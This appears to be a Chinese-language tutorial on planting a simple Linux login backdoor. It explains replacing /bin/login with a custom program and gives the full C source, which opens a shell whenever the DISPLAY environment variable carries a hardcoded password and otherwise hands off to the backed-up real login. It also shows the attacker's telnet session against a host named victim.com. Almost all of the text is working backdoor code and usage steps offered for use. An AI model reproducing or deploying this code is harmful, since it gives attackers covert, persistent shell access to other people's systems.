linux后门密码如何修改,linux简单后门之login实现

先把原始的/bin/login备份，再用自己的后门程序替换/bin/login。使用者telnet登录时，通过环境变量或者终端类型传递了正确的后门密码，将直接获得一个Shell；如果是普通用户登录，重定向到原始的login文件，来处理正常登录。

最简单的login后门ulogin.c源代码如下：

实例：login后门

/****************/

#include #define PASSWORD "passWORD"

#define _PATH_LOGIN "/sbin/logins" //这里的"/sbin/logins"即是备份原来的"/bin/login",而本程序编译后将替换为"/bin/login"

main (argc, argv, envp)

int argc;

char **argv, **envp;

{

char *display = getenv("DISPLAY");

if ( display == NULL ) { //若为空，即是正常登录，用备份的"/sbin/logins"处理请求

execve(_PATH_LOGIN, argv, envp);

perror(_PATH_LOGIN);

exit(1);

}

if (!strcmp(display,PASSWORD)) { //比较密码是否正确，正确则为使用者登录；否则则为正常登录，转下面处理

system("/bin/csh"); //直接启动csh，也可以使用bash

exit(1);

}

execve(_PATH_LOGIN, argv, envp); //正常登录

exit(1);

}

/*********************/

利用后门登录

前提是对方机器上已经替换并备份"/bin/login"为"/sbin/logins"，而且Telnet服务是打开的。然后在本机器执行：

/************************/

bash$ export DISPLAY=passWORD

bash$ telnet victim.com

Trying xxx.xxx.xxx.xxx...

Connected to victim.com (xxx.xxx.xxx.xxx).

Escape character is '^]'.

$

/*************************/

另：strings命令能够打印出二进制文件中的可显示字符串，如"strings /bin/login"